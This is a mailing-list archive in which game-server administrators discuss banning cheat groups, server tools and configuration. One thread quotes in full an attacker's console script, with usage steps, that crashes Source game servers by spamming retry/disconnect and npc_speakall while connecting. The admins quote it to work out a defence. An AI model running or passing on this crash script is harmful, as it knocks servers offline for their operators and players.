Re: [hlds] Ban IP Ranges

2010-01-05 Thread P. Bhandal
Ban list for j3rk:

http://pastie.org/768339.txt

On Tue, Jan 5, 2010 at 6:27 PM, msleeper wrote:

> Might wanna Group Ban this:
>
> http://steamcommunity.com/groups/j3rk
>
>
> On Wed, 2010-01-06 at 03:17 +0100, Donnie Newlove wrote:
> > About persistent cheaters, JIRX is active again. Pretty funny videos I
> > have to admit, as long as they're on another server of course.
> > http://www.youtube.com/jirxin
> >
> > Btw, are those prices per month? It does not say.
> >
> > On Tue, Jan 5, 2010 at 10:48 PM, Jake Eisenman 
> wrote:
> > > Is this possible by adding like 12.34.*.* to banned_ip.cfg? Or is there
> > > some external plugin for this? The reason I ask is because a hacker
> > > keeps getting in from a certain IP range and we have no regulars from
> > > that IP range so we can afford to ban it.
> > >
> > > Thanks.
> > >
> > > ___
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> please visit:
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> > >
> >
> > ___
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>
>
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Re: [hlds] More Hacking Groups

2009-12-16 Thread P. Bhandal
Ban list for aimb0t: http://pastie.org/746534.txt
Ban list for BRUTALAIMING: http://pastie.org/746535.txt

The arguments against blanket group banning should be pretty humorous in
this case!

On Wed, Dec 16, 2009 at 4:41 PM, Violent Crimes <
violentcri...@convictgaming.com> wrote:

> http://steamcommunity.com/groups/aimb0t
>
> &
>
> http://steamcommunity.com/groups/BRUTALAIMING
>
> ___
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Re: [hlds] Source Engine Upload/Download POC

2009-11-29 Thread P. Bhandal
You're better off blocking your game server's TCP port.

On Sun, Nov 29, 2009 at 7:51 AM, Michael Krasnow  wrote:

> wait, so this means anyone can go on a server and download a server.cfg?
>
> time to bury my rcon in a crap load of exec files lol
>
> On Sun, Nov 29, 2009 at 7:49 AM, Saul Rennison  >wrote:
>
> > Awesome. It's not really a server plugin though is it? I'll try this
> > when I get home... take over some servers. <3 VALVe security.
> >
> > On Sunday, November 29, 2009, AzuiSleet  wrote:
> > > Yes well you can ignore those fools. They like to vandalize my
> pastebin.
> > >
> > > On Sun, Nov 29, 2009 at 3:55 AM, cnu  wrote:
> > >> On Sunday 29 November 2009 10:26:50 AzuiSleet wrote:
> > >>> Source:
> > >>> http://azu.pastebin.com/m1cd1ab0b
> > >>
> > >> You got some other interesting pastes here :p
> > >> http://azu.pastebin.com/m483ef5a0
> > >> http://azu.pastebin.com/f32ff6903
> > >>
> > >> ___
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> > please visit:
> > >> http://list.valvesoftware.com/mailman/listinfo/hlds
> > >>
> > >
> > > ___
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> > please visit:
> > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > >
> >
> > --
> >
> > Thanks,
> >  - Saul.
> >
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Re: [hlds] Group Banning And You

2009-11-16 Thread P. Bhandal
Source (written for Ruby 1.8.6):

http://pastie.org/600615.txt

Compiled version:

http://www.theqclan.com/upload/2575513Steam_Ban_Parser.zip


On Mon, Nov 16, 2009 at 3:44 PM,  wrote:

> Indeed, if someone could upload the parser somewhere that it could be
> available.There are definitely some steam groups that I would like to ban
> off of our servers... Additionally, who is the author of it? Is it open
> source? I'd love to crack it open and see how you accomplished it.
>
> Thanks in advance!
>
> On Mon, Nov 16, 2009 at 5:34 PM, msleeper  >wrote:
>
> > http://steamcommunity.com/groups/ogrep
> > The admins of this group decided to drop by and say "hi" with a number
> > of hacks today. I'm not sure if this group is specifically
> > hack-oriented, but the 3 guys made it sound like it was.
> >
> >
> > On Mon, 2009-09-07 at 20:01 +0100, Philip Bembridge wrote:
> > > I don't suppose I really need to mirror it if it's on rapidshare then,
> > but
> > > here it is anyway:
> > > http://home.captain-pot-noodle.com/stuff/steam_group_parser.exe
> > >
> > > 2009/9/1 Philip Bembridge 
> > >
> > > > I would happy to mirror it on my home server for a little bit if you
> > would
> > > > like.But someone would have to email me it first :-)
> > > >
> > >
> > > When we long for a life with no difficulties, remind us that oaks grow
> > > strong in contrary winds, and diamonds are made under pressure. -Peter
> > > Marshall
> > > ___
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> > please visit:
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> >
> >
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Re: [hlds] Group Banning And You

2009-08-31 Thread P. Bhandal
Ahh, sorry Kyle, the reason that the version I sent didn't work was I was
planning on adding threading to it so it processed it faster, but I never
ended up finishing it.

Here's the source code for the working version:

http://pastie.org/600615.txt

It works on Ruby 1.8.6, but more recent versions should work without a
problem as well.

On Mon, Aug 31, 2009 at 5:12 AM, Kyle Sanderson  wrote:

> Thank you Donnie, works awesome ;)
>
> Any chance you still have the source saved?
> Kyle.
>
> On Mon, Aug 31, 2009 at 12:44 AM, Donnie Newlove
> wrote:
>
> > Nice one, that's a big group and it's even invite only.
> >
> > On Mon, Aug 31, 2009 at 6:35 AM, Violent
> > Crimes wrote:
> > > Hacking Community. They develop hacks for multiple games.
> > >
> > >
> > > http://steamcommunity.com/groups/187ci
> > >
> > > http://steamcommunity.com/actions/Search?K=187ci
> > >
> >
> > Works fine for me. I uploaded it here.
> > http://www.mediafire.com/?in3y0minxzz
> >
> > On Mon, Aug 31, 2009 at 8:58 AM, Kyle Sanderson
> > wrote:
> > > Thanks for the application Bhandal, sadly it doesn't seem to write the
> > > steamids to the .cfg file. It just leaves me with a 0kb .cfg file when
> I
> > try
> > > to add a group. I'll try re-compiling the application with the source
> > that
> > > you sent me tomorrow but it isn't looking good for me >.<
> > >
> > > Kyle.
> >
> > ___
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Re: [hlds] Group Banning And You

2009-08-30 Thread P. Bhandal
E-mailed it to you as an attachment. Let me know if you don't receive it.

On Sun, Aug 30, 2009 at 9:09 PM, Kyle Sanderson  wrote:

> Sorry to "bump" this but can anyone mirror the
> steam_group_parser.exe<
> http://69.4.224.185/steam_group_parser/steam_group_parser.exe>file
> that D4rkR0w wrote? His box seems to be down.
>
> Kyle.
>
> On Fri, Aug 21, 2009 at 2:16 PM, 1nsane <1nsane...@gmail.com> wrote:
>
> > Wow, amazing.
> >
> > On Fri, Aug 21, 2009 at 5:10 PM, Nightbox  > >wrote:
> >
> > > I pwned him by rebooting his computer xD
> > >
> > > 2009/8/12 Octo 
> > >
> > > > http://steamcommunity.com/groups/colond
> > > >
> > > > Opening paragraph:
> > > >
> > > > The Colon D Clan is an unbelievably cool, private, invite-only
> griefing
> > > > clan for Valve Software's Team Fortress 2, along with various other
> > > games,
> > > > led by «nägger :D, oreo :D, and Greaser Dan :D. Our clan was
> originally
> > > > founded sometime in the late summer of 1947 by famous porn star
> Richard
> > > > Steinmann, Rice Factoryman Andrew Tran, and Milkbagger Benvenuto
> > Garisto
> > > to
> > > > battle the Native Ugandans.
> > > >
> > > >
> > > >
> > > >
> > > > On Sat, Jul 25, 2009 at 12:27:26PM +0200, Donnie Newlove wrote:
> > > > > Can't you read? I said why I posted those when I first did it.
> > > > >
> > > > > "Cracking/hacking groups, same people that spam servers using
> > > A2C_PRINT.
> > > > >
> > > > > http://steamcommunity.com/groups/csrinru
> > > > > http://steamcommunity.com/groups/dz-community
> > > > > http://steamcommunity.com/groups/warez-bb";
> > > > >
> > > > > On Fri, Jul 24, 2009 at 10:40 PM, Kyle Sanderson<
> kyle.l...@gmail.com
> > >
> > > > wrote:
> > > > > > I'm in a couple community groups myself for some Torrent Sites,
> > > Should
> > > > I
> > > > > > leave and warn everyone in the group that some server admins are
> > that
> > > > > > ignorant? Seriously? The Myg0t groups and actual hacking groups
> > > that's
> > > > a no
> > > > > > brainier and you will have everyone's support here. But banning
> > > > community
> > > > > > groups who share a common interest that has nothing to do with
> > games
> > > > what so
> > > > > > ever? Please, it is the same as banning The Teamwork Movement
> group
> > > > from
> > > > > > your server...
> > > > > >
> > > > > > Kyle.
> > > > > >
> > > > > > On Fri, Jul 24, 2009 at 12:39 PM, D4rKr0W 
> > > > wrote:
> > > > > >
> > > > > >> Cc2iscooL ha scritto:
> > > > > >> > Haxxor witch hunt.
> > > > > >> > OH EM GEE IN HAXOR GROUP MUST BE HAXOR LOL BAN.
> > > > > >> >
> > > > > >> > I prefer to wait until they actually do that kind of thing, as
> > > some
> > > > > >> groups
> > > > > >> > like that just do mass invites and/or people are just retarded
> > and
> > > > never
> > > > > >> get
> > > > > >> > access to the cheats they're looking for.
> > > > > >> >
> > > > > >> > Not to mention stuff like Kyle here. Warez =/= hack users.
> > > > > >> >
> > > > > >> > Most of the guys that you're banning probably don't even use
> > > > > >> > hacks. Oh well, if you want to be lazy I guess this thread is
> > good
> > > > for
> > > > > >> you.
> > > > > >> >
> > > > > >> > Like right now I
> > > > > >> > could make a totally awesome group teh computer haxors on
> Steam
> > > and
> > > > > >> > you guys would ban me even if I never used hacks and the group
> > was
> > > > > >> > just for the fun of it.
> > > > > >>
> > > > > >> Whether these guys actually have bad intentions or are just
> plain
> > > > dumb,
> > > > > >> i don't really care, both of these are good enough excuses not
> to
> > > want
> > > > > >> them ruining my games, assuming they'll ever join the servers i
> > take
> > > > > >> care of. Plus, i think we already have our hands full with buggy
> > > > > >> gameservers, buggy games, angry teenagers and all the lovely
> > things
> > > > that
> > > > > >> come out from the mix of these three things.
> > > > > >>
> > > > > >> ___
> > > > > >> To unsubscribe, edit your list preferences, or view the list
> > > archives,
> > > > > >> please visit:
> > > > > >> http://list.valvesoftware.com/mailman/listinfo/hlds
> > > > > >>
> > > > > > ___
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> > > archives,
> > > > please visit:
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> > > > > >
> > > > >
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> > archives,
> > > > please visit:
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Re: [hlds] New Server Crasher...

2009-08-23 Thread P. Bhandal
Also, just to clarify one of your earlier points:

"I have Rcon Lock installed, this attack still works as it's not calling any
commands rather than just calling retry in 0.01second intervals."

It's not the constant rejoining that is causing the crash, it's the
mid-connect use of npc_speakall. That's something rcon_lock blocks.

On Sun, Aug 23, 2009 at 4:33 AM, P. Bhandal  wrote:

> Somebody actually just tried this on my server in the last 10 minutes, and
> rcon lock definitely blocked it:
>
> L 08/23/2009 - 04:21:59: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
> client 71.137.230.203:
> L 

Re: [hlds] New Server Crasher...

2009-08-23 Thread P. Bhandal
 not calling
> any
> > commands rather than just calling retry in 0.01second intervals. I was
> just
> > thinking about a plugin/script that would ban someones IP for 5 minutes
> > after a person connects 2times in 5 seconds?
> >
> > I don't know if that's even possible,
> > Kyle.
> >
> >
> > On Sun, Aug 23, 2009 at 2:18 AM, P. Bhandal  wrote:
> >
> >> I'm not at home, so I can't test it right now, but I believe
> DeviceNull's
> >> rcon lock plugin blocks clients from sending commands before they are
> >> fully
> >> connected. You can find more details on it here:
> >>
> >> http://forums.alliedmods.net/showthread.php?p=841590
> >>
> >> On Sun, Aug 23, 2009 at 2:01 AM, Kyle Sanderson 
> >> wrote:
> >>
> >> > Not sure how many of you have encountered this script. But it has been
> >> > taking my server down quite a bit lately. Just found the kid on FPSB
> >> > posting
> >> > his script up so here we are.
> >> >
> >> > Hey guys im releasing my Green Null Name Exploit
> >> > (BTW SAVE THIS AS A text file)
> >> >
> >> >
> >> > 1) now u have a .txt file u make a folder in ur c strike called
> >> testscripts
> >> > 2) open the .txt and edit it to make anything you want the symbols in
> >> there
> >> > between letters make the color of your name change so keep those in
> >> there
> >> > 3) put the script in your testscripts folder
> >> > 4) open counter strike and now join a server and put this in console
> >> > Test_StartScript crash.txt
> >> > only leave it as crash.txt if u dont change the name of your file.
> >> >
> >> > Setinfo name " CaM FuCkEd Up ThE SeRvEr... "
> >> > retry
> >> > Test_Wait .75
> >> > disconnect
> >> > Test_Wait .2
> >> > setinfo name " CaM FuCkEd Up ThE SeRvEr... "
> >> > Test_Wait .1
> >> > retry
> >> > Test_Wait .75
> >> > disconnect
> >> > Test_Wait .2
> >> > setinfo name " CaM FuCkEd Up ThE SeRvEr... "
> >> > Test_Wait .1
> >> > retry
> >> > Test_Wait .75
> >> > disconnect
> >> > Test_Wait .1
> >> > setinfo name " C a m   W i n s "
> >> >
> >> > Test_StartLoop spamcrash
> >> > retry
> >> > Test_Wait 0.01
> >> > disconnect
> >> > Test_Wait 0.01
> >> > Test_LoopForNumSeconds spamcrash 1
> >> >
> >> > Test_Wait .1
> >> > retry;
> >> >
> >> > Test_StartLoop crash
> >> > npc_speakall
> >> > Test_Wait 0.01
> >> > Test_LoopForNumSeconds crash 2
> >> > disconnect;
> >> >
> >> >
> >> > http://www.fpsbanana.com/scripts/5196
> >> >
> >> > Anyways, hope this helps some of you and maybe a script/patch can be
> >> made
> >> > via sourcemod. I've already blocked the string npc_speakall via
> iptables
> >> > but
> >> > that had no effect (Not even sure if that calls any functions on the
> >> > server.) I'm running CentOS 32bit and a bunch of CS:S servers.
> >> > Kyle.
> >> > ___
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> >> > please visit:
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> >> >
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> >>
> >
> >
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Re: [hlds] New Server Crasher...

2009-08-23 Thread P. Bhandal
I'm not at home, so I can't test it right now, but I believe DeviceNull's
rcon lock plugin blocks clients from sending commands before they are fully
connected. You can find more details on it here:

http://forums.alliedmods.net/showthread.php?p=841590

On Sun, Aug 23, 2009 at 2:01 AM, Kyle Sanderson  wrote:

> Not sure how many of you have encountered this script. But it has been
> taking my server down quite a bit lately. Just found the kid on FPSB
> posting
> his script up so here we are.
>
> Hey guys im releasing my Green Null Name Exploit
> (BTW SAVE THIS AS A text file)
>
>
> 1) now u have a .txt file u make a folder in ur c strike called testscripts
> 2) open the .txt and edit it to make anything you want the symbols in there
> between letters make the color of your name change so keep those in there
> 3) put the script in your testscripts folder
> 4) open counter strike and now join a server and put this in console
> Test_StartScript crash.txt
> only leave it as crash.txt if u dont change the name of your file.
>
> Setinfo name " CaM FuCkEd Up ThE SeRvEr... "
> retry
> Test_Wait .75
> disconnect
> Test_Wait .2
> setinfo name " CaM FuCkEd Up ThE SeRvEr... "
> Test_Wait .1
> retry
> Test_Wait .75
> disconnect
> Test_Wait .2
> setinfo name " CaM FuCkEd Up ThE SeRvEr... "
> Test_Wait .1
> retry
> Test_Wait .75
> disconnect
> Test_Wait .1
> setinfo name " C a m   W i n s "
>
> Test_StartLoop spamcrash
> retry
> Test_Wait 0.01
> disconnect
> Test_Wait 0.01
> Test_LoopForNumSeconds spamcrash 1
>
> Test_Wait .1
> retry;
>
> Test_StartLoop crash
> npc_speakall
> Test_Wait 0.01
> Test_LoopForNumSeconds crash 2
> disconnect;
>
>
> http://www.fpsbanana.com/scripts/5196
>
> Anyways, hope this helps some of you and maybe a script/patch can be made
> via sourcemod. I've already blocked the string npc_speakall via iptables
> but
> that had no effect (Not even sure if that calls any functions on the
> server.) I'm running CentOS 32bit and a bunch of CS:S servers.
> Kyle.
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Re: [hlds] Group Banning And You

2009-07-24 Thread P. Bhandal
I tossed together an app a while ago to go through a group and output a ban
file with every member:

http://69.4.224.185/steam_group_parser/steam_group_parser.exe

I had only intended to use it myself, so it doesn't handle errors well. E.g.
invalid input, Steam site being down, etc, will cause it to silently close.

I also used it to toss together a quick list of bans for all groups
mentioned in this thread:

http://69.4.224.185/steam_group_parser/steam-group-bans.zip

Each file is named ban_.cfg, so you can pick and choose which
group bans (if any) you wish to apply. If any of the files are empty, it
means the group no longer exists.

On Fri, Jul 24, 2009 at 5:30 AM, D4rKr0W  wrote:

> Donnie Newlove ha scritto:
> > Got a good amount of cheaters from that one, great idiot traps. As they
> were:
> >
> > STEAM_0:1:4798632
> > STEAM_0:1:16967137
> > STEAM_0:1:12964291
> > STEAM_0:0:5247141
> > STEAM_0:0:17125404
> > STEAM_0:1:20500205
> > STEAM_0:1:16135510
> > STEAM_0:1:16135510
> > STEAM_0:1:18438595
> > STEAM_0:0:19966344
> > STEAM_0:1:4589709
> > STEAM_0:1:12655431
> > STEAM_0:0:20558003
> > STEAM_0:1:24984633
> > STEAM_0:1:19475541
> > STEAM_0:1:16779723
> > STEAM_0:1:9697891
> > STEAM_0:0:4244842
> > STEAM_0:0:14740593
> > STEAM_0:1:19705087
> > STEAM_0:1:20472532
> > STEAM_0:0:13618296
> > STEAM_0:0:16148525
> > STEAM_0:0:3104408
> > STEAM_0:1:20012756
> > STEAM_0:0:19273507
> > STEAM_0:1:16942340
> > STEAM_0:1:9238833
> > STEAM_0:0:16254581
> > STEAM_0:0:13093804
> > STEAM_0:1:14809914
> > STEAM_0:0:16711428
> > STEAM_0:1:4647482
> > STEAM_0:1:16990727
> > STEAM_0:0:22669952
> > STEAM_0:0:14768586
> > STEAM_0:1:14473150
> > STEAM_0:1:20520417
> > STEAM_0:1:16706175
> > STEAM_0:0:23660951
> > STEAM_0:1:21678330
> > STEAM_0:0:17500132
> > STEAM_0:0:15671353
> > STEAM_0:0:13396534
> > STEAM_0:1:20106827
> > STEAM_0:0:17095616
> > STEAM_0:1:7385411
> > STEAM_0:1:19821387
> > STEAM_0:1:25585046
> > STEAM_0:1:18730518
> > STEAM_0:1:11191693
> > STEAM_0:1:12646293
> > STEAM_0:0:25129360
> > STEAM_0:0:10688936
> > STEAM_0:0:23923399
> > STEAM_0:1:18606427
> > STEAM_0:0:20380187
> > STEAM_0:0:14558623
> > STEAM_0:1:19162947
> > STEAM_0:1:24834457
> > STEAM_0:1:25561565
> >
>
> Any advice on the most effective bulk-banning method? Seems like having
> to convert all those ids from the groups and then ban them one by one
> could be quite time consuming...
>
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Re: [hlds] Servers banning an IP without understandable reason

2009-07-23 Thread P. Bhandal
That's pretty unusual. If it's not doing anything rcon based, the only
possibility I can come up with is the frequency of your queries. Even so, I
don't believe that SRCDS automatically IP bans for excessive queries, to my
knowledge it simply throttles them.

Some relevant CVARs you might want to look at are:

sv_max_queries_sec
sv_max_queries_sec_global
sv_max_queries_window

To eliminate excessive queries as a culprit I'd just jack the
sv_max_queries_sec way up, and then see if the issue recurs.

On Thu, Jul 23, 2009 at 1:25 PM, Rolf Hanßen  wrote:

> Hi,
>
> does not work, problem re-appeared.
> The query I do works without any password, it just requests the public
> data (players, map, kills).
>
> best regards
> Rolf
>
> > It looks similar to an automated incorrect rcon password ban. You can
> > double
> > check whether that's the case by setting the following in your
> server.cfg:
> >
> > sv_rcon_banpenalty 1
> >
> > If the bans become 1 minute long, then you know it's due to incorrect
> rcon
> > password attempts. If it doesn't, then it's likely something else.
> >
> > On Mon, Jul 20, 2009 at 2:58 PM, Rolf Hanßen  wrote:
> >
> >> Hi,
> >>
> >> I have got 3 servers (Win64, CSS) running and since some time im having
> >> problems to collect the data from those servers because the IP of the
> >> stats-collector is getting banned by the gameservers. Sometimes that
> >> happens a few times a day, sometimes it does not happen for some days at
> >> all.
> >> Logfile shows only that line without a reason:
> >> Addip: "<><><>" was banned by IP "permanently" by "Console" (IP
> >> "x.x.x.x")
> >> I am requesting the server data with qstat 2.8 every 3 minutes.
> >>
> >> Any idea what could have changed and if theres a way so avoid that,
> >> maybe
> >> whitelisting the requester IP ?
> >>
> >> best regards
> >> Rolf
> >>
> >> --
> >> www.tawp.de
> >>
>
>
>
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Re: [hlds] Servers banning an IP without understandable reason

2009-07-20 Thread P. Bhandal
It looks similar to an automated incorrect rcon password ban. You can double
check whether that's the case by setting the following in your server.cfg:

sv_rcon_banpenalty 1

If the bans become 1 minute long, then you know it's due to incorrect rcon
password attempts. If it doesn't, then it's likely something else.

On Mon, Jul 20, 2009 at 2:58 PM, Rolf Hanßen  wrote:

> Hi,
>
> I have got 3 servers (Win64, CSS) running and since some time im having
> problems to collect the data from those servers because the IP of the
> stats-collector is getting banned by the gameservers. Sometimes that
> happens a few times a day, sometimes it does not happen for some days at
> all.
> Logfile shows only that line without a reason:
> Addip: "<><><>" was banned by IP "permanently" by "Console" (IP "x.x.x.x")
> I am requesting the server data with qstat 2.8 every 3 minutes.
>
> Any idea what could have changed and if theres a way so avoid that, maybe
> whitelisting the requester IP ?
>
> best regards
> Rolf
>
> --
> www.tawp.de
>
>
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Re: [hlds] Any way to disable the crash dialog in Win3k/8k ?

2009-07-13 Thread P. Bhandal
An alternative option is to use an AutoIt executable that will automatically
close the dialog box. Here's the source:

$var1=1
While $var1=1
WinWait ("srcds.exe - Application Error")
WinActivate("srcds.exe - Application Error")
ControlClick("srcds.exe - Application Error","","Button1")
send("{ENTER}")
WEnd

Pre-compiled versions as well:

32 bit: http://209.160.59.190/Temp/srcdscrashclose.exe
64 bit: http://209.160.59.190/Temp/srcdscrashclose-x64.exe

On Mon, Jul 13, 2009 at 12:26 PM, Mike Olsen wrote:

> I know at one time I had found a program posted on a random forum that ran
> in the background and it would automatically click ok when those crash
> messages came up, then using a modified version of this bat file:
> http://forums.srcds.com/viewtopic/2388 it would automatically reboot. I
> cannot find that program anywhere on any of my systems, if anyone can find
> it and post a link that would be awsome!
>
> Mike
> On Sun, Jul 12, 2009 at 5:25 PM, Cc2iscooL  wrote:
>
> > Unfortunately those engine errors have to be closed by an automated
> > process.
> > You can either use a program like ServerDoc, FireDaemon, or ServerChecker
> > to
> > make sure these are closed properly and run your game servers. I've had
> > good
> > luck with ServerDoc and FireDaemon.
> >
> > --
> > Cc2iscooL
> > Head Admin/Owner
> > http://www.cc2iscool.com
> >
> >
> > On Sun, Jul 12, 2009 at 4:17 PM, Andreas Grimm  wrote:
> >
> > > the gamefiles are ok btw -> one of the errors is confirmed by valve,
> but
> > > they are not able to fix it.
> > > that's the reason why i need a way to disable that dialogs
> > >
> > > -Original Message-
> > > From: hlds-boun...@list.valvesoftware.com
> > > [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Michael
> > Krasnow
> > > Sent: Sunday, July 12, 2009 10:43 PM
> > > To: Half-Life dedicated Win32 server mailing list
> > > Subject: Re: [hlds] Any way to disable the crash dialog in Win3k/8k ?
> > >
> > > it seems that there is a problem with the gamefiles i would try using
> the
> > > -verifyall parameter
> > >
> > > On Sun, Jul 12, 2009 at 4:30 PM, Saint K. 
> > > wrote:
> > >
> > > > Sorry, not sure.
> > > >
> > > > When you start the program the first time it asks you if it needs to
> > > > disable all errors etc. You won't have to use the program after.
> > > >
> > > > Cheers,
> > > >
> > > > -Original Message-
> > > > From: hlds-boun...@list.valvesoftware.com
> > > > [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Andreas
> > Grimm
> > > > Sent: zondag 12 juli 2009 22:31
> > > > To: 'Half-Life dedicated Win32 server mailing list'
> > > > Subject: Re: [hlds] Any way to disable the crash dialog in Win3k/8k ?
> > > >
> > > > @Jonah
> > > > Read my post first, I wrote, that I already use the "-nocrashdialog"
> > > > parameter ;D
> > > >
> > > > @Saint
> > > > What do you mean with D/l ? But I need the option to set the process
> > > > affinity, too.
> > > > When i remember correct, serverchecker doesn't support it to set
> > > > gameserver
> > > > to a specific cpu core, does it?
> > > >
> > > > -Original Message-
> > > > From: hlds-boun...@list.valvesoftware.com
> > > > [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jonah
> Hirsch
> > > > Sent: Sunday, July 12, 2009 10:14 PM
> > > > To: Half-Life dedicated Win32 server mailing list
> > > > Subject: Re: [hlds] Any way to disable the crash dialog in Win3k/8k ?
> > > >
> > > > add -nocrashdialog to the startup command line.
> > > >
> > > > On Sun, Jul 12, 2009 at 12:48 PM, Andreas Grimm  wrote:
> > > >
> > > > > Hello,
> > > > >
> > > > > I start my gameservers in Windows 2003/2008 with the command line
> > > > option
> > > > > "-nocrashdialog" which should disable all crash dialogs.
> > > > > But I have still some crashes in Team Fortress 2 which show that
> > > > dialog.
> > > > >
> > > > > The bad thing is, I have to click "ok" first before my restart
> script
> > > > is
> > > > > able to restart the gameserver.
> > > > > For that time the gameserver is dead. Here a few Screens:
> > > > > http://images.saigns.de/error1.jpg
> > > > > http://images.saigns.de/error2.jpg
> > > > >
> > > > > Does anyone know a workaround to get that fixed?
> > > > > Perhaps there is an option in Windows itself which disbales these
> > kind
> > > > of
> > > > > dialogs?
> > > > >
> > > > > Any help would be great
> > > > >
> > > > > Andi
> > > > >
> > > > >
> > > > > ___
> > > > > To unsubscribe, edit your list preferences, or view the list
> > archives,
> > > > > please visit:
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> > > > >
> > > >
> > > >
> > > >
> > > > --
> > > > Jonah Hirsch
> > > > ---
> > > > Sent from my BlackBerry
> > > > ___
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> archives,
> > > > please visit:
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Re: [hlds] Team Fortress 2 Update Available

2008-12-11 Thread P. Bhandal
Is there any comment on the map-to-map timeout disconnect issue?

On Thu, Dec 11, 2008 at 8:13 PM, Jason Ruymen wrote:

> A required update for Team Fortress 2 has been released.  Please run
> hldsupdatetool to receive the update.  The specific changes include:
>
> - The Engineer's teleporters can now be upgraded to level three. It will
> recharge faster the higher level it is
> - The Engineer's dispensers can now be upgraded to level three. It will
> give out metal and heal faster as it is upgraded
> - Spies will be able to recharge their cloaking ability by picking up ammo
> off of the ground or from health cabinets
> - Some changes to the second part of the first stage of Goldrush to give
> the attackers more of an advantage
> - Any weapons that fire bullets (shotguns, sniper's machine gun, heavy's
> minigun, etc.) can now break apart the Demoman's stickybombs
> - The icon on the HUD for a person calling for Medic will now give more
> information to the medic (if the target is low on health, on fire, etc.)
> - Added an achievement tracker that will allow people to choose specific
> achievements that they are trying to get
> - There is now a custom icon for death messages when the player was killed
> from a critical hit
> - Added a new particle effect for when a player enters the water
> - Added smoke to the feet of a rocket jumping soldier
> - Players will now have some particles swirling around them so other
> players can see when they are overhealed
>
> Jason
>
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Re: [hlds] Setting difficulty in server.cfg?

2008-11-07 Thread P. Bhandal
20:23:56 "z_difficulty" = "Normal"
  game replicated
  - Difficulty of the current game (Easy, Normal, Hard, Impossible)

On Fri, Nov 7, 2008 at 8:22 PM, Brian D'Arcy <[EMAIL PROTECTED]> wrote:

> Crap.. for left4dead, incase nobody figured out what mod I was asking
> about.
> =)
>
> On Fri, Nov 7, 2008 at 8:21 PM, Brian D'Arcy <[EMAIL PROTECTED]> wrote:
>
> > Does anyone have the cvar for setting the difficulty level via
> server.cfg?
> >
> > I'd like to setup a few private servers with varying difficulty levels.
> >
> > Thanks,
> >
> > X
> >
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Re: [hlds] Stop lobby connections?

2008-11-06 Thread P. Bhandal
I edited my Steam.inf and changed it to:

PatchVersion=0.9
ProductName=left4dead_demo
appID=529

